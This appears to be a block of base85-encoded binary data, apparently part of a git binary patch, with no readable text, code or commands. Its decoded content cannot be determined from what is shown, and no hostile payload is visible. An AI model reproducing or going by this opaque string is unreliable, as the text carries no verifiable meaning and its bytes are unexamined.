zk?kywN|nTw0lRQNaQ-ZR^cLasg7l~0`P*pogyf?a|C%8DW>RBMrRqsZ$)F{j;}ZC3 za;^E)senVdf#+5@`#iSW=XTc+RZDH5GaA+VsVq_rqN>A?wKUDKq!x6zPEu3Z@zc9F zrylyf?@zO0bO_{c$XJa7`^R2~pZ!$#Z^1r0-k=9}{XU`6QH)+d0gWo7?Rz<^h2nWh zsx(Xpf@9&ql>AmlXO_3+4E?QB43!JxkjHTLl`TARCpc1H1hV@fR_2{AYw_89*dU$* zvB%kBgm3*oYHZyYMoE_*$wfgJIKksR>(u)?6}?|4y+G!br*YFa>9_T@u>3VP;Ntsx zHMFUgDext@5dMl`gM<sO#IgT)eCVlp#v@kr_g*`=JF|Nj)oq@mfh@m)6EOfHGxMIu zan`ab5naL7AebGmZ;E49VcyY=P}Il4Da@JpW+82-Tq0o;enk#LOepy>izi;88=jtl zK7ccGfWpd!M}UeJampsrO;1-=8hFxyb;QjdTIpvQ+A5M~51d<{<7ofMS&wtP96Q-y z&d{MAFxGJ$V@x`KhPP;?v_v0k&J4c2ENbu|64?*)_3S40Mi}?7NZ%D&o<=Z0@Nr>d zo^c|Ce9#UEC+Rg9L{494aL<Nqx1R6+%-S$_TmZAMuKZKxgYesNV%iDP@5`Xt7kElt z$#%+(M2X$iZmpw23vCc-z6@B4xtNwrjqwhv;qE=EFTEiR^1fVPk;p-DM@U1%1wPj= zEc_&@|GoXvtfom0zF`(7a(7IcC@$W}dx_5H_^DrjgiuqErNHOL3oM~b=xj%3yaBr4 zzhs^7M$(VB<K*J$uM52EE!*>UALeb)B#OU#wuNM;!O0mM-`A(aEBze7+Vbz*2jWa2 z6qpoiUImZS0S~m-yIsxXV*mG!Zx`Qk7Z&Omil-OErCoT^L)!rXxbATu^C|EFXe)w3 zh(V?2ql-4u8ow>n#L`+M<G81ENPx9Nr?sIa!vB6(D48KQW+#8=cncvuyf5{HKGNy? z+D<mSEXLPvdi$Ii)st}C?+|pGH2+;N5#&X{j6m^?#G`J&&F#2f3VAE$e=^v?dj(Zc z$iKNPQJ^`Y;qN3nh;z+yy`v)yqxCg!wibKuIk(S&1yOX^{S*^U?agq>N8))&=tp&@ zXUY4h`6L0SL&QZs_G@9G?G`fs2tdw$8wTeICQALK;tt_EbFB1r_0EZd=|z3D`cI-{ zGd2YBY4l+6?U~oK`NUu|kV2zT`Bw=X;|qua8xZ|ATa}17(U1C}rnYi=yTFTz8DZX@ zYu)}b+sW|`*cnjdHYjwlSmO`ef86VP^<KIz-!d4}J4JF&HN%J*$3^(_?3Xog{({O+ zYL#VHol^vzfKeCV`*lS4@@;SOEq-5YAe-87lE%mBFDM2I2_Ivmlr-Nm5BNI$<a3|v z+B{<{GIV9?z)KD$DqvCI18)*QwwjcQE)-B@69(fxA4K}Cq0G05?hTqaxjS0c7SOKG zbG4xi->V+KN%Z;>UvVpljivTPXX~BB_wK?<d!n0J+O|_(FYSZe-)5mo;6-VBQ&m5H zXrGiwz~tO!95`vny}~b2Jmxz6D2MFIU?hF5p@C^+zCZ(M(&JW%g|Iizr$m}iH)8%Q zV<qt1Fr`CDZs9TFlgz>H%Jf~J;Dcen$>tXDUe=H8A8@tsEy#lNn0<){m_=IqzEwt{ ztW5ZPIF^fd(Czs9AAY|gCw)-`c>d>pUpEieN0L#ke71y1qQQ;|F<yZVF^xxV(IwBU z;vM$WSn<aIR-$j=l>&0R%P-+W5_pUzCI>3AfTA#Jo{<Yp|3~dqddD0Nh!hAMLsPjq z$INAM$@TC3E@=l(gT~b*JBr2mo<LN%U0g;#Z=_U)oId}?Q!r;XN`sR4vsf@bcrn2` zV3Myy!~J^3$QTx$l4w0&J_68>L(hG<6j9Mnws}y|3PNq2Ep__PMIV)am3D<++3P>c zJgW)Vji>$HAD#b^@NU+4qI5(a0O&1y2#)uCZ>#@mITEp(`+j-o>~Z`$jPDI`&ee%u z9&75<V;d}jSnPb8L+36?)&Frx0`jm9---wiHoFm0^7$Bi*FwBg*AJDGEO0;Dx*GeN z&2GCNc6-!LW38ojw9&md%TB0!-4^7`e`36Y-oCC><6g2l2qRtOI<<)TesgmdgAf_^ zhMkvq&CRoZhScPBoa%w$(-)oTv<fO9lr?wkszHWBhGh>k&_i<fvCNfvQY2F`Zq`*9 zf_-1Ls`vJGkWUVwazsZ0mK9SM(srMh_9gXo-T~=frt{crmi&7^i%~rLd4%*9Ai#)Z zNuC!)D73e=7KHh@_zpkBvK<IZR7p2SD_kE%<zTG^exY9Od$?ukK0Yuic~dMb_=gM9 zkwLzWP2AOhCINK)W%{`I77MCR!&K-;_M74=A=h*4$20y*+s~`Wh_LAU1b5UO_UNs| zlTL}aQ;fW$y-1Ow{(zV+|ABx_3@%8HF8a>bOf&Y6I8`4(5<@1<exQ0sn_TYMX`JnK zS-`!;-SozCE&ffCNK8Q$boI5L!#@G~i{e2vfgU+#eDl@|xZw4-L{L*}+7B%%w~!%M zMKS%gw0<|v**F0QKN;5{FpF{sPhe%9n9`awKo>J2--4x0lfv^+eId2*?kZ9Qri!d# z<NQTW!4O6gB~2e{K)>#=K@WpJwc#kK!XAHDPm1-e-ofWSbZE2?P-?*>9rrEp1RGV? zK|1)U=OMtugJ@=}wQlPtR#6GwoALM#H8P)fb-yYWogykdvP-BF-$N;-7T^+{OLU&9 zinSV<BMNH<`5)gK8YQ{%EJ2hJ@yUjf?`sgxBdc1CQtltpk1aVFoenCh-I8zSJSMP7 zI02gN?K6L-BbEy90A`P0;3@tVPcnbl7m<6@>S`nqWM`&7)Eusj#fl3=fDZv90`GtY zUgl!vs~sc=%1-<cMdf8zD7s>;!bSjo_OB)D_1MMlBnY$mhja?JCAau&^IoZhpV7Q5 zb<ggV@UXh4tUGA`knW;{`Ap7<bKerYVFbFLv~Fd+KENl2;z2&l6&^K`A5Mls$x&z4 zNLt91!?#B+W>Tkv*E~P3l$MI5R&=50K*GFnO2%VHR}01XKg}3oJZRYl_Vp;@7u?bJ zhw05jItp}AB<^>o(%_Dd$8YY&@H@S1A|Gx*who66EpR|+cKtX?KepypB}8(qt5wG- zw9f2Kgb21VcPsr&FhS+5oQ)kJ_-;+Hd|`ze2s|kg2op)50tCBDc9+2eS|K785AuM! z8`h}?8x2hp6;fUgb)&K)r6C~Ky<)&Iau}zI%54HTqf0SQyFKeJ@_CA4|3<}tv>-0e zJ`7Ao4(~+Y8cEI9cW_Kl)MyJoC_8dLz`L(~E-&^)k>HZKCrfR$f<PO)=j6y|yq?X# zl)LOLF5jg9Lm-NnyBNHx)6xN9GhYc;c!HJ(nW|$UPc*j#J`9!u&rdKk<l|c;Uf<*p zEQDW03L7Coe6LHU0^Yi>Ef;8={gt5Olpnhg19T!r!m}LKG-sgL2X9J#tyQZLE^P>t z;O}y`oPls9yNELtS}%u`vLc5K>8lGFsH4dUFP(QNP7B#sSk4&Znv+s$I+#3Bs27=X z)E$TSS$dzJg=Iok>7KX(&%dO+;-IxFc$-%6)cbvv8YY34YPwMcRy-&IxmXUan*%jZ zD~R)-wPXk5?dw4(X$e!YqQJo_+0W6z8p+tz%j92tTiW&)5Th_|LEQEjxyO?^vD#RJ z6-~^;M0HxERmx^`X_MUq0*NpZzoH1m11#AXv2CUh%l5JU9k+ioe59Av5>2oZrsTOt zl()qKb?xI667OdrPM`IHq3Dg>8391r%#iMLe!h`6nao0xWF=P7VTaWrR8PO8e;!&= zYV7|~IvfqwE-*GG_;<oHTrHPg2A@g$9n8c4Tf2tK#YZO&+@DR|&K=8jSBVF^hgC)y zA>fQadt`|C%T&T=>pEkmo4C}ER=a^(>ezw+jqk$;_iyJLUo$SzsSuk~A6`P2`E<<B zk1@(SCZfJcpoD@C|68J;t3+X==yPj>&r7rWlQIB$Q?g+>H%@mEp#i&+qIMS9oH{KF zC&5H>GWFOk6+^Mi=u1pS$M_FUHV3ka*vPs4ydb62#t-ly&Efc6s2WATu-?H*Y23iZ z&qJ<ZdzFxV_4~@?bMpSlX}KM5FBQuVTiIDaj<q2ni*|<If9&hH5cJXyo~bv)4dek8 ze1vpdXhr%ObrrY==!>&N9`BW)_y8QDK^J}&pmh`AGXNQg3i+ig{J9!VUi2IM0PS&l zw))HdmE>k#=}5+n@f`4BI{-R)ecz<~48Z#NAh~efVe|-j0NEE+&+9Pt)QCfR(unz5 z;^dXQ`5(R~?AGv~L5}9HDHhtU<OIi2fREUsN|VabI+>KuzmdnnzAXm;C4YRv`4csZ z*jICtWM6et-k$Kj?uFM>=!q}e<_)4O0Dc4gj`IBbO9bYkxoxm@n3pCghV_^qb)9e$ zRMUNJlzsG^3~nOFA2JB<s~+zosbF{Vn4Ehi&Z{{8LOsv=0iGe2Y}WB}^LFBh=47Wj zDE48)AT5dAiToPx8!P+<CP4xg6ufu~Z5k3x&iOskemd^g`m~CeDI$U^iXC{zd?ON{ zskRQW_*cD3qr><DRM37$Z>`yrq)OFa)A7Sp!W{?oh#QI-v2>Tw$Mr)lC|9s~${6Ki zEf+S^VBs_|C+RxLcE=92aPa5>Di9ANR}FgBsgWHqzOH2iuc&pfuoov@ukb7_e)0;k zdPpJ~`Ng4X3<yU48G$%rvZG;0WYjHw<!uN{22;P$0#Ns`E;>&1e(`8??d>I0;rhs4 zA=5wkBP_psvTkaG4Gn>!$Zvg|oprYPQlPB8i5Mcc_YX_ZP=4=SI(VWpA8~s`l_^&c zY12lo)5Ejxx8l2+z{!UF*jQ-x*ILFi6Q+*pam=Ar;?&gqasCTqntsCFenLmYd2ffk zL+I1-;`cMDm%l14(tiMm2%^_bUJo2VTmx4ls(Cpqj%|+Y1U4bkcDFJOA+yEzbs89; zs5)rdQ~H|U7WT15<QUoi7q<VL_gf>7J`63j=Nf+At>UG+RZji43H>Wh1&YKK8blu1 zH!#u$qTf0uPwF&nWJH5a60ib`-!UcNk&GAk4`QO~q&N#!yw*A5nvtX=F%(V*$>prY zOy{$6h1<&QdS$9}?v@0>Yd2Cl9y*<fQvoPd%E*p<9i1d<C0U|kTdNfX<GDvX913VN zyr<jc>z6#6WWne1kQ2Vc{bEqXQ~=(x+S}fP^qyGLd+XH4mH+MD&S(kmiYOLMu2m!+ z{V+)eL=Y=67d7oiaw&Yxca=5+k~1k5t_4y66rqvzQmX2%eC{D4F3+W%Cua?1qmS~F z)8DMKEzDhTVkF0WG|KrOMg;}`DKg79=E%C`Nh_8J_5Ar*QwaCwg0V9++y4>OP;nQP zNjRabSRp4eN~4=16>X5BjMOEa#VW@aa%)1I7^GF#Nr7w1Mfc0%fcy&OhL1gdccXSK zq;|4vnmfLk1#I!uhHZflJ3>N5gL7#R2$Y=X6T4VIcTX%(uT#CzqkA=6iFk~ZH0Ni< z^!fvc%?MZb{~zdgUE9?181xL?uQdMqaOyhU|2#$JyB@Cc#fcT7D4rDM1g2^>IXGVs z*S+r=xEcRTnURWj$-h}WV_(o{Dd+QP!5SAE^e8)hB-@K~O!>f_!2wecEcpKn0Jw3u znz0EKQugOh_<xCix1BPb>F{SRpQWiK0%}Y^4`ci98hS?)7sT%0a7dq@42bnVU02a5 z^&CQuS&*Y#nYHG$ZEAKGz-?CvA_y8o;$V&@KcV^mjRR;ikJ=&oX(adqzVugDWd2uL z`Bfpa@P{?|I@X&q`yhL>)%sdO`N{6}f4LV77I3ba7VfxzJQsV&w@^=U)r~Z|_@TC; z6u*WmK_0+NvuvG<L16FU?j=*e2-W~3CF96>;Jg7!590JQwrx{)3F$?j8s_|T74i|h zQqF^-3#)%;&!6LFLP24hNNe9VU8sUAi%ops=qK*!|4Jd?v;hc5fh1dIMi9{GNgSY? zgFdnT9~ys~6W&Yn{5EX(tHoA&uXxPB%i$}3nbKCYB4z)#5m>m}-p65P<_dZ|P%%Xj z8<9~14Zz8_6MM}5j6DqOuZIvZX8ckJRd_C;NTZj>*QMH!c#;uRl;0J-Uf?l0)W*Mx zI(~EH5xqPu2;Kr|VyBOo4Jzk8K`Z*UjhR`@17Eo$w^?|P+_xt6RWS$>oeg0zS$7kE zY_RxYj@ho%WWUfSPmZLABTM3*pHMuk>TKhKi9>1miyKn08@W;xyYn)G{uMV(McxER zqgVs8V7(Ol^9nuJCJx6!_SH%EUNp}N1VY4I9>W#J<pC6PC*e<aVH%zgjfa!`i%e~m zM=m%_p9A1Mdm(S`Ed2H=-O18XS|{w9)r}h4;&90EYxZUZmzCAk{P5ox(@ucJ-zxvd zyy@J}b<VM(t!rwG7pGE2@m(8CDPZ*LsJBJ$Y4eWyoH}9b8&DsfLu-0>S!>!x9n6T- z|1R#y%e+&RA_=S<cvmG;unWI~-l_=y*V~N{sh=bv%-MCIRK&(PR)w$Xh6oT>Y$?-} z0vCFtIwip|C4GIg2f|{ll#F_9lrDwH(6p|Ruqjb~Sy=9}d!DW8Wbq$fBq%yi60yY( zB6}U?9Gj6nl=}m#-96jlQjj^0@%(g_&maAIM)|w=LLS@d2ic`)h^$WI7jni1cylLH z_Q<y$Gfnx+u$vfi8V1H;fDUN!tuB3oB}Q^`BbAT`Xm!Ly&+$UUzIR=b#Y@&#lWF(R zU_>pebosbq(PLtXs(I|3FSY36L8SIm)T7}={L}jbt#{?YRvZKj7s9hHzk86YqB<*Y z%49BOYmY=c_UNUZDf0sZqBmUqQVSd!x8(Q!qvwa~(m3IKeEU{R#$E4GEeDFsk$Aau zfiL;B^yMK=a9KsoyyU_T8_7;FQ2DRU#CM^0lZSL#PgiQH)vB(o9Xd@%=O&`Y6ETl+ zsXrdr#RylNqAgCUsXJtltQbk%bGv{{6aj}fOm;Fh30NJsNCeDLSm9Htq?jDA8;|P* zFo~f7(-mb&<(6k_;MHp7m(_dRrbDT=Hfyt6M?wGO$11X07Nvqu6{z)~?cN<zj4fyH z%@_szl}0}s=!za9#dlZ%laEw2*-G4$4rZL-sjA#>G_a?{7WMV+4?P=HQq0_#qm}ee z9wNu}yAo!ZALg@o|5*S`(}6W`Mt<o(M&8LlSe-gAc6zGI<Ku?;polHIZksNg;u;Vb ztBFKyg8NWJumKeWBbT~)px9}m3Vi?6w%_oLSQQR_26Tq}Ix6{vk{<X>C(mcO^z?bU z-iXIa97^o~XGt8q^Y1r^qvh;Bj)#cfQSz?zAz`!1$5O1=_FP2{GIlSs^p!07v8c8y z`*~A>r|Gwoc6RB$!xjaL6peInS6UuMGcW!w(yBN*{Zk1hZ412mE-)BsjXOKD&_%%r z`UF#1NJSwS6chH4tFHgR%s9pF?JyA9<s_*Tbs8X<sv#koKQNIR1y&(Zt|U!)7thR0 zhA)W98IAZ-rvc?ae?iJFE+p2TM!V!zHPQ`UM!cj>H6e@awbYAF?+iVt^?IU9;09P( z@a_m&K$E?fcr0;?SdR!vRUk42ZTy{s3v=HGvZ4$4$nDxAKlgD?aPp^O0~!~I0>B^^ z^%dm;_@b{^#$Vi|Iz^iuCOm4}&FNnu1-g|VQFx9?9*xerBoBVLX|-h~jw+oe$#P;v zJL11SSm(*{_dcH^;mZ?YDVGOX1xiNE_|<nYaI?~35%HBPJ=$yhr@gu#D8|0~>-Eg8 zUlx1NfO1gq8g$@vyN3ls5RO5q;J+!B8DEK43!J8&e9-$a4^`6ZMGQFaE|sze@<+Y< zX^1}+6xwykS}lV!WG3E!|L$H*Ly^e4s9pn)qyBGz0`-G@lqPV0PT1IeW9Fd{7;rB< z{YMW*EWlrsBTSim)(U<*){5}Yx;G?M;GTJzi;mUhsu>=80C$WbDg>3C%fJiR^)^*U zSIQufj`@@J@vyteW-@7h@QqFtdC^7|wA?+Xh@EQmJd|LQ_JkqFxT~BnDm;9?EciD+ z*jCpPfo1<&=2cE^J}L8HkD!KF6+ih)VO-oCWo#_iRb#Btp1`Sv>b)|YUW~_@3F{hE ztfic%twTW86CtN|=u0Nx#JwON%QF^|P6Pt<;+aNeH8epf;}-~|Wtx4Xb05m&pE2nx zeIs2wYCfFZ$+D8@o0-HS6N6SQ{HYvL&A8+rr2!?>5Gfn_<6FfgcPWW`*vGE`Q)>ff zMcII^x>x}SdK{>t__tgDTz7#ag#vL`;LYkNFjLIlMixfTRKe=ros;6f%lDzXI$Zmz zAD(60W0Vl|3h@#MdC_62yi%Yb7X?x|9~ANxO6(`32O9tInTyZEE+5ZXc4S`vIjFY% zB74I^7{g8QT=`=m6qG_kB`6_|liic(G}pFrOasf)5Gzsjb|~Mg>S>@9E@V@M3XO9P ze_fQmEC5-F&sX_yR5#)pM_g~8b&loiyai9uM;_W_Eu2ai0SwZ(e7gABAL69?Gf!*| z>&Tuhrj~h7=^19`BZRm}*_RpMM1}?2C|fb9lV^eI=xDz4m!_@%10(VhX}z=5s&93r zK31JszcS}N<?+`8G+IZO+C0Tw!B2YQPKosKHdAxx&~mM}qP#AK6lDmN*=8$xw!voO zv_%A@0tKBJW+3}N1A6DrDRHhRi)>m}ymj!N;2<L>9Q{KAJ=e22waMfZ;2u2OK^_wD zWCRyt-dScEnY*X<2%CykXI~eVj=Zf*!-^0)P`8fkTj;pY=Ug?SK$F-N0R;zC_wsx) zeKbvz`C_%xp?=jfCI^6TLUPQC0RzxStGVtnIFipM9*qvsb;y0r+;}Sfe~^E71Ym~Q zaFqZK`pIA#r1o`>W;K$6uTJL`?i$s!+41C*DT{W-XJ@MY`u^eH=NPGs9$Z!!)EEVu z>GL+;(onv%MiuCqVLeb*n^{{1$u&z_qb54cSr+6<be^+@8c#;%fLOr@5zW|E2cE_D z@@=-%mzig$!;q%5k$yvczfaAPy@SukE_M)#<w`cIN-3!7E3AnoaFj8KzN@bSD$0*Y zRHS~mr;3iA-*iVdkgQfjS<zFS-|;<CVHCk(V#+3Ru!d*BRyi#G)WZRKum!7J5T>VA z$Ee95QWy$^nVmYOoi6@|LWd)TJ6yyBNn)!lG9qD~#3D{OV6w}<qw}_`oubTn5^N>R z{4$nqf*HGw@wU(Q1b|c`{3%(~PN+*_mK4ZnuNM{qn*f&Q$GJL->X+6;9}-XEv!!H< z4svI>r_ju0yK$0VTAkz1ZIneq{n_uT$n6@WqyO%>e|9!8%pk=7Emg=Om>C0(2moWv z$W(Bbssk+Awp7-V{%0d!7ehHR7W4AUt6(W!-Mq}h%%nrmjK~i*kj#yi2t&sv#`0@a zuarR2GJPw_ga(otveUw^h-bEw7Nf{KhkisE`C`3!!bb%%WBrIOlR5GZ?8vwp9dRa- z_)opUhob_Xqu}2D7P;4Cek2OCrr1;`ZKI;Pu#oxzqMavuY~O!b$Df7*_kDW3H!J%3 z#GQM~PnwpkL#Dd#^Xu<|A|Vl~6q@-~%~}U^_z3VhIO}#f-&<Tp(JSIhbF@5JjUF;H z|9?z=CaYp8Nd5P*D7x0vA1cg$Nuy@djT|OxiU@y9_og{NxU9Q(p;WJ@A&A-D=H!22 zFtWULHg-p1)|F*Ux~i$s!c;HOEFVpJnRX<EmySNG7QB(?u3gr7T>J4++O|<}@QYFp z8$9XDDgDEDtHYZX0f_#|w5KRTb1lRqvG^O@{7dZS&fTA4;6Y8;KAF0$7hU%~io@p1 zTY!tZL>M?<)Ks3S)CQ@I>^GIVHnL`$O$r7haknaptSSSF?sgsKB7+j4ay<kTo%f7p zq>k=&DwQ-@QHIDpbsdq<hMW6fBh7-`8y!K&?#ck2Dbg2|o$|n+D?zOK0S_h%CM0Yf zKD3>W_+Hcskg%|>tW0Ls+;yb4Y%gD9AuXtAMELoKkC6;Te_0W_yv)QiJ4mPnK1gAY zki$fZIwUX|a{Hsic2i01O@JbWwqsd;8v7}F%Og;M4c51&gTs!+`n>`SkbfpVh(MSZ z(Yk8?QBJ*3Gcnfz-a2U*)!er0y&x$0uiu|yKm}}nPyAR*H_dPt)lI<u77b#CNE$Kl z?$BL0tL`o5gYr^UK3#S6+Pi_SVcaNs?!`(+q?}~JYJ`MIQmP-OE}JqT6wUM3{DG2= zH^FdjO9BGg=tOd(LyYL4B^(q+LIM({y>oA;kSwkg?dONwjinQu0iio&kp%YoNGUxH zX(z5e)to8_HeU>uIEAD{58Ekn2Zwdzt*MoPIhns|y+QR`hup#e_AdiP$#1??Nev&K zwBAycFB;T!dha8985%nxc_-2foi&<vewCyYw7+gtY5B@CaP{`}>q~8k8+r`v66V@? zwpc6X)eGb0d;jA^zH)5ESVIH&)zf(c%+8}#AaeD)!*K!($Vv31JDs#PvogK7i9L{8 z6Z~d6pVN+HpL20+C~7Yqc#*Se9qB>XOGol;R6<WfLq{jDS<q|1Ms4yhxWH(&<BU^L zLKD*IJkyq=B2TP2vE?|z#CAQ(di8X$^6A-!?xU-ZZeTZ<ibE}lTiKwaAusPU%YKWc z4+>j(MR_^)*%EJulb|8VHPf(`wsuOV<2A1k{)erG|7^(^qDjWug((FBva+Lw4OPw? z`O=oDL`0FdyWn7UB#nnzAvRCKw9md5jR5e6x?Q&lPtc3}E@jdY&c%vHQ%G|Li{DNt z(3@u9UNC*=sfQq^ofTgMNfTBY?&p+5#r*AhsjIujvsLwYgP3()K{~ihuBo8CyBe<^ zFTzQ}z27wB)Xa&(7#_0HQZS_x{eVHpGMPf9>|g7t^V7Y6a-DYdgGn_8y6MLuOjdok z|5C7yK+U}j6@Ujaqd}MKx{xP}a22$v^dL%|)*Jp-F!!y-6_<%%b(ETO>iPpe=>Y3^ zYpo>vajdjdtqb*-)z4w9Ms_1K7_LECT()dI8=Gbkt}-p}AS?7x(xf~tu3u44r&bO8 zsiLCdZjJNpP3wW6gQ_KPEo8NYI2x;QdNlYebb_Ft18yZg<t~GguK#X_R9dL9#Onf+ z1q=+{Zn2cegiDq5c6b*F*_tqnVrEnwr=Ylk441vzr8jt)JM+u0IEUPQH|S*M`8+%x zjni(N<%2*EcW6(G>>gCZ)p<W*Opw0m9^bmJbDK$;b;(92v~PZYD<e}c+Sbvzi!m4B zqv%GV)9jBnhCORF0g<86z4|=^dT-j!tphGZul8r`M}j+t<9`C1;8UwtIVe9Bronx{ z6*1GtO_q1(4K#_y1{m4uz!)`AjTWqH>0f<Bd>-ZF-M4Iie6G+%@Ifye>{aCzB9JTx zGv>40<_5BWQxagzR0Fy(d3YTbB_GSlZ=tV6SRn-!lYz(M=7VZ!RcB;Y@lZgx149_$ ziMiFPlpEIB`;f%1FU4ml(PrP2CSF$fdTQX;Neh&f^);Ed<c9&C_Hc1q=)261So#2e zq#*`9DZr36sl4sh*R(xB<N`KH<5;kTJ+~0W-4MPkO4L-?n>5SxuJ0I`|E&IZ77zog zi0gQ;<p2s}(c&mR6idkP^gD+GHkkj9LH_hcykyb1Zf66QKPJgiq6&=L4#bC_?6i$k zfOGlR*~}<AN4ySPpo*=^-_xE#?fW1JJlK2p?E1I#T9(~r>i^=?|9tYgCfq>(X(v+U z$=^4?z`ler>E1?%ae=Mh`PI)XeeIVBQ`pu+%M3c}A<^}GkLakEJjO36TKfIUm0C|< zxIOkqdh`sVdw6!@^LxG0HniE0UGvF(zDRQQM6zuWjFVicC%qtt!A0k`<k=YtMU5P@ zB<s1r%G8z43tK78L@lHARZNp9ZRO{ZZ>_PDL^oa$zMe{J?-uo%?B9l#A@p@NL{1Ny z+zl^AK4N)b7@|Jxx9rNM)_v2E>&Z&oJQ2Q0>pQa`x;XAx>ZCx=nEXN+*LG^NxAXSD zGI4;(VB5u1aMRaFiu1sE9<vNC?vJ0k_Q8IXXYTx6eB|{fnqn0^Q@N!%Du+I6EUnTq z?;gCM$3S#Q=;)Yz=)BIbF(4#|((Q}D|Ke}Bc2y+-96wUC)L4d9Z@M>4Cn#gVl)WZM zZ1eCTKMw$gz)H%vbZtvc`0ohecx%+gjvZoLl8pOF2!n#5f{fVmGc;Oj=h;ZbnaA(n zjm*NNky71FFI{KHjq_=p!Z5(CE}oKo2{s&Ic6X!q^|ViXGjO{4<zH_^<&pug!P>(Z z79-8}`kcDE#KSPs+g+v<J#2B*AHBwraCYW2Ya?L>G$pbCS1&c~EirUOV?EllMqfq` zlYd6})yj}c(p4Z%C)O%+5Sdk!ERz(p-Emk@B-@Iuo$M5Ux^Wlk8U;3A06j&{tKP_R zYJcGHeIe}0T?ZN%01WO@CamTKdoqU;F?rjn96vJ2RW1dUgFggy4}AZDke1L*=u9KI zZQi;kX>|)~4>pn8Rf0m8iC-|!TJ!3;+*4Wjtj9qocYAviv|l>%3L8%?z9R3CwLhU6 zHc4-gxcDBh0qz$m@+)!!XJi+$4j-1M@n?6~lUqfz12ETa19X_wh1N6|Oh2Xy*h7<= z5ssX^*eCOzXDC?D#nx}y$k8(4Ndu{ohuZzD+~0i4VETDw2>Rw@Ru<}NVLN^SITIym z4jffUyjO!2iu~g~qS|LZ>rI<JcL(9OKE4JAE_WJ~be-IMkWU{=;re;+wr*`DLm2kk zVRf2lyZsb4x#TxoQ9j}|5#KREdHA18_`eezYiiEmLa_&7g~+m$IiF2QX(~;-HdNLD z6H_D8B#4qYTaJH>mNp|R>9*nrVwIc41eG@S4&XRhBQVJ<G;;~Di3d`A)<a%ez$j#| z>$s{F&Sw*jL9khYbdS%JcCwt<>SnCsxTF-7{Z#l!&C^5;5AX#IE7>KaeIuX$H2Ma( zjT<maGZv+jNV3@KsWkTf!!M%#B??`~QE}(vyZqR}=c}FQ_GaMRqg$iJ*+7=2L0V2& zgKdk2#8$-cQv;a+4yCM5Jec0^I#kj@MPYn7Rv8)zl2tf-q7bl1e!`cfBWoy3$AyQb zq9T8)y{?n2e3cItJkjjNQI^)$OA>gT!pn39IAs+QmcCycRl%1cPsO=si*Br3`(be% z;fTVOK{$SCjA%omVNCpnhi+%d{Z1RM(Bs@b$S|oc>-iHtU=4FjY+zRt;?g;O<?TS4 zYG8T(U~s=zJ<ckk18BxxYaTwSb`WtzPeo)$zyu7-_rvp?eiHBgN^~~98Q`Oca#(LO zwXzF(C4y4!Dypaicy9Xkji53Gygf<XA{f4$*FH#t3@xndY4ARZ=W?6~O{wc-bvpKD zV2QjJ3y58~?6hJReI-(o_uA@>`1fc40A%F0i0{8&4S0o?Kl)v)PMQjHC={0bdcq&e zU;j_az#n=mxIpPSC~Ft85vEE-<quiaI=YB<*BVGlF>?)>r)$<|Te`Gqu5Qi`GwRq0 zxsn)!2ja7GdPR6hX}SmM+l8ff0)J4x$+{!4uMgG5zU)lj%C<Lm5<gm%PkAiVO=bLv zoeoIYpWmTjWm#%<$~_cxcV0MrL1veQqIdWu=6UEOB5|dQW@Ph!rY5AL^J@~2p{;Wj zuXRFtB1`?ig3IWbp=<%f=lM*A5@R=ulV{nxysm$2kERsRudX}oI;_uwD*p#=8H=MM z^|whOOT|mrz6<**a^9dDi#)bHRCitae=&6xeo;nESCEhrrMm>AyHlmRq*+>!uBBT# zB&54rmae6{q+{upTDoiDTi-8!-}5KjduQg%IrE&cFD07=JuLM;Mn);f+XQ^hCZC@w z^%<&)m#zrZYftd-(y~n}Ws?UCl>xZFL^vx=w~{md8Cyh#EIrxUD&*NDJYY>;OFsXJ zsE7%Wce)QAZ2D?iSwZjk4%|uCK=gV$tn;^xDr+8GxMu5>=JL`l`_*FFK(Hyp%G3vQ zGuGtBEDyO+`8#@D#;Eh^C!pSW&c#gn(Nl~!Mf%`ykND?;{niZFa&aG3x=Iq}XbTa! zBOYJVI;I5t^kbLz^VrL6ahjfC@Rs|Jv)aGEU`CF^K>3y*wd4xq5g9_5q9Z(TP09j3 zpj;x}Sbcj1_}m&fGkh%=<02$@Rnps?JJHOewuBp&&tS`@C?9%kdM+kR8(GtqraT&y zQEKW8{G5zStUMV!sj-KKC9-ht`hFb@Z>E{^nfuJ9-q6TQMzRf6RS72x=liB&gAYrZ zg1a3J;7eY^SYK&NS`GUGZ33w6jjaG#!Wv4o=)V~LQZcP)>R06cbP&hHR#DvxtCm7P z=+gCcNq8+;4F+H!`s0LaRnVASyt3VaJB`<Sa79x58)va#Nhhr^7;5s7U9TfE`+6Gg z29T+G6O0rHl>MD|{GoRlLC7Svl9hR-*<)Y@AK6$nT?_@&DM?lBti(TP$0FAz0EV)^ zq<UxSA^tQ_@T@c5b)%*$(Ekch!Dlm-B;ruMN2_Y29XBo^BYOFV+hw}Rw9*C;qSs2I zLPTjQ!E2_In(!J_Ag2%&0g&`k_gF_R?FwSf=JOKENo`MK&=ggNk0JX#Pld0#k~Mm) zCx}_>Y>B3tq{!|PoFKP86;y1VN<Dibg88=PIR2H@v20Fw3q=M<dWo98F{PcwL3$3s z(tGco{}Ms-{i|S768m%ZcV#+%%_rV4uCrG?h=Cfx_2!gthcrWqXDktETppv@e)YM$ zsGRVUAVx#M?<EX;p`gIT^;r=mQ3#=#60n_aDv3oG+cuToZEHqFCFkv6eMG^=^8J0u zp-tl*$t_6{)C%C9l0+_|s=g&Cub|*wb!*1)dmbz;25+fNsr76%rW#B~XGrj-CCx)r zOCvv94G-LxB@~N)7`>7!;4Q6)Im9h*LJOBxDCP9A6R75z91IZ1w4U7Py5O`9+C;@6 zJn7F1tEMbfyB~WqGn?nIbh5PcV1~>LIYk{*NnCLK!_-h!O2C=~B!;DjfwUJLxWHQ# z6Z&=E#xe(!@R~Kgja<IEX3_h7K>100U7JiPNoLrkLc}lV<9n6mrJnlzn6WgZUK$9w z7;;S0T}1!syPHab`WBo{KH{oJpMMjj^W&7O?bN<ES8`?C+>u4=@%-Q)Q&Lp>k#-cb z`_^ahe5X3yI}&6P`5$9|NJjTJ;PNxsD5d<|AFQ>LbWD1+#1*B2YHHbEP~@yI_RH5G z`gpDpl}^D}NC4NjYW1bf_>>;rn7vQ``TO0vM#nZ1q~!uw8`fFYv*igBTe2e<^5k8B zzQB7GElF(-yx)t061U40G7#bnd7JWbrnbU|?+2mMlMO<+Jv=|<#dCvOyZwGNe2dJn zqGBk#lXW9kS}=hiE*cA<PHKLp{Zwb>$?a<;8-!v#9ayPp?JR0(m8gVso(FBD4D`jc z8Kvs6D?n7Ux4y9~X4kFpx!<~SMb^piG)@Z@r6zm#mf2j@k9*SffMT+gp4zlWxuDOT 